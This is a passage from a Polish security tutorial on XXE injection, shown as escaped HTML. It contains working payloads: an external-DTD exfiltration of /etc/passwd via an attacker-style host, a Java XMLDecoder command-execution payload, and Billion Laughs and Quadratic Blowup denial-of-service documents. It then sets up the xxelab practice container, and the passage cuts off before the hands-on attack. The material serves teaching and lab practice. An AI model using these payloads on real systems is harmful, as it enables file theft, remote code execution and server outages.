&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY % lfi SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY % vicious SYSTEM &amp;#34;http://hackerMENvps.xyz/vicious.dtd&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%vicious;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;question&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;storeCode&lt;/span> &lt;span class="na">id=&lt;/span>&lt;span class="s">&amp;#34;0&amp;amp;get_value;&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>1&lt;span class="nt">&amp;lt;/storeCode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/question&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>DTD - &lt;code>vicious.dtd&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!ENTITY % atrybut &amp;#34;&amp;lt;!ENTITY get_value SYSTEM &amp;#39;%lfi;&amp;#39;&amp;gt;&lt;/span>&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">%atrybut;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>RCE via XXE Injection&lt;span class="hx:absolute hx:-mt-20" id="rce-via-xxe-injection">&lt;/span>
&lt;a href="#rce-via-xxe-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dochodzenie do RCE przy wykorzystaniu opisywanej podatności jest mocno związane
z wykorzystaną na serwerze technologią i nie istnieje pojedynczy przepis od niej
niezależny. Niżej w wydaniu praktycznym przestawiony zostanie RCE przy użyciu modułu
&amp;ldquo;expect&amp;rdquo; PHP. W tym miejscu wylistujmy przykład wykorzystania &lt;code>Runtime().exec()&lt;/code>
w rozwiązaniach opartych na Javie.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;java&lt;/span> &lt;span class="na">version=&lt;/span>&lt;span class="s">&amp;#34;...&amp;#34;&lt;/span> &lt;span class="na">class=&lt;/span>&lt;span class="s">&amp;#34;java.beans.XMLDecoder&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;object&lt;/span> &lt;span class="na">class=&lt;/span>&lt;span class="s">&amp;#34;java.lang.Runtime&amp;#34;&lt;/span> &lt;span class="na">method=&lt;/span>&lt;span class="s">&amp;#34;getRuntime&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;void&lt;/span> &lt;span class="na">method=&lt;/span>&lt;span class="s">&amp;#34;exec&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;array&lt;/span> &lt;span class="na">class=&lt;/span>&lt;span class="s">&amp;#34;java.lang.String&amp;#34;&lt;/span> &lt;span class="na">length=&lt;/span>&lt;span class="s">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;void&lt;/span> &lt;span class="na">index=&lt;/span>&lt;span class="s">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;string&amp;gt;&lt;/span>/usr/bin/whoami&lt;span class="nt">&amp;lt;/string&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/void&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/array&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/void&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/object&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/java&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Dodatkowo skoro jest to element &lt;code>&amp;lt;array&amp;gt;&lt;/code> możemy przesyłać również przełączniki:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;java&lt;/span> &lt;span class="na">version=&lt;/span>&lt;span class="s">&amp;#34;...&amp;#34;&lt;/span> &lt;span class="na">class=&lt;/span>&lt;span class="s">&amp;#34;java.beans.XMLDecoder&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;object&lt;/span> &lt;span class="na">class=&lt;/span>&lt;span class="s">&amp;#34;java.lang.Runtime&amp;#34;&lt;/span> &lt;span class="na">method=&lt;/span>&lt;span class="s">&amp;#34;getRuntime&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;void&lt;/span> &lt;span class="na">method=&lt;/span>&lt;span class="s">&amp;#34;exec&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;array&lt;/span> &lt;span class="na">class=&lt;/span>&lt;span class="s">&amp;#34;java.lang.String&amp;#34;&lt;/span> &lt;span class="na">length=&lt;/span>&lt;span class="s">&amp;#34;2&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;void&lt;/span> &lt;span class="na">index=&lt;/span>&lt;span class="s">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;string&amp;gt;&lt;/span>/usr/bin/uname&lt;span class="nt">&amp;lt;/string&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/void&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;void&lt;/span> &lt;span class="na">index=&lt;/span>&lt;span class="s">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;string&amp;gt;&lt;/span>-a&lt;span class="nt">&amp;lt;/string&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/void&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/array&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/void&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/object&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/java&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>Techniki Resource Exhaustion&lt;span class="hx:absolute hx:-mt-20" id="techniki-resource-exhaustion">&lt;/span>
&lt;a href="#techniki-resource-exhaustion" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Czasem może zależeć nam na osłabieniu mocy obliczeniowej serwera, lub nawet
na wyłączeniu go z obiegu. Możemy w tym celu wykorzystać ataki takie jak
&amp;ldquo;Billion laughts attack&amp;rdquo; czy &amp;ldquo;Quadratic Blowup&amp;rdquo;.&lt;/p>
&lt;h3>Billion laughts attack&lt;span class="hx:absolute hx:-mt-20" id="billion-laughts-attack">&lt;/span>
&lt;a href="#billion-laughts-attack" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Nazwa dość specyficzna, lecz przykład z &lt;a href="https://en.wikipedia.org/wiki/Billion_laughs_attack"target="_blank" rel="noopener">Wikipedii&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
w pełni wyjaśnia tę nazwę. Jak widzimy w poniżej zamieszczonym kodzie, atak ten
polega na iteracyjnym rozwiązywaniu kolejnych encji w astronomicznych ilościach.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE lolz [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY lol &amp;#34;lol&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ELEMENT lolz (#PCDATA)&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol1 &amp;#34;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol2 &amp;#34;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;amp;lol1;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol3 &amp;#34;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol4 &amp;#34;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol5 &amp;#34;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol6 &amp;#34;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol7 &amp;#34;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol8 &amp;#34;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cp">&amp;lt;!ENTITY lol9 &amp;#34;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;lolz&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;lol9;&lt;/span>&lt;span class="nt">&amp;lt;/lolz&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Mechanizm ten jest tak dobrze znany, że większość aplikacji jest na niego
uodporniona - wystarczy zmniejszyć ilość możliwych zagnieżdżeń zewnętrznych encji.
Powstał więc atak o nazwie &amp;ldquo;Qudaratic Blowup&amp;rdquo; - mniej zagnieżdżeń, wciąż dużo
znaków oraz związanych z nimi operacji.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE quadratic [
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp"> &amp;lt;!ENTITY blowup &amp;#34;[dziesiątki tysięcy znaków]&amp;#34;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">]&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;tag&amp;gt;&lt;/span>&lt;span class="ni">&amp;amp;blowup;&lt;/span> ... [dziesiątki tysięcy razy]&lt;span class="nt">&amp;lt;/tag&amp;gt;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Oczywiście oba ataki możemy łączyć, dobierając ilość zagnieżdżeń encji oraz ich
długość, w zależności od odporności aplikacji, czy własnych upodobań. Jesteśmy
w stanie wygenerować w ten sposób pliki o astronomicznych wielkościach, które
mogą mocno ograniczyć wydajność atakowanego serwera.&lt;/p>
&lt;h2>XXE Injection w praktyce&lt;span class="hx:absolute hx:-mt-20" id="xxe-injection-w-praktyce">&lt;/span>
&lt;a href="#xxe-injection-w-praktyce" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Trochę teorii za nami, przyszedł czas na zabawę. W celu przeprowadzenia przykładowego
ataku wykorzystam dockerowego &lt;a href="https://github.com/jbarone/xxelab"target="_blank" rel="noopener">xxelaba&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
którego w razie potrzeby można postawić samemu, a następnie zacząć przygodę
z XXE Injection.&lt;/p>
&lt;p>W celu instalacji dockera na linuxie posłużymy się następującym zbiorem poleceń:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt update
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install docker.io
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> docker --now
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker -v&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Teraz kolej na kontener:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git clone https://github.com/jbarone/xxelab.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> xxelab
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo docker build -t xxelab .
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo docker run -it --rm -p 5000:80 xxelab&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">sudo docker container list -a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">CONTAINER ID IMAGE COMMAND CREATED STATUS
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">PORTS NAMES
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">2e0ae9f3ec8f xxelab &lt;span class="s2">&amp;#34;/usr/bin/httpd-fore…&amp;#34;&lt;/span> &lt;span class="m">8&lt;/span> seconds ago Up &lt;span class="m">8&lt;/span> seconds
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0.0.0.0:5000-&amp;gt;80/tcp, :::5000-&amp;gt;80/tcp wonderful_solomon&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Voila - możemy zacząć zabawę:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./welcome_screen.png">
&lt;/figure>
&lt;p>W celu przeprowadzenia testów wykorzystamy aplikację
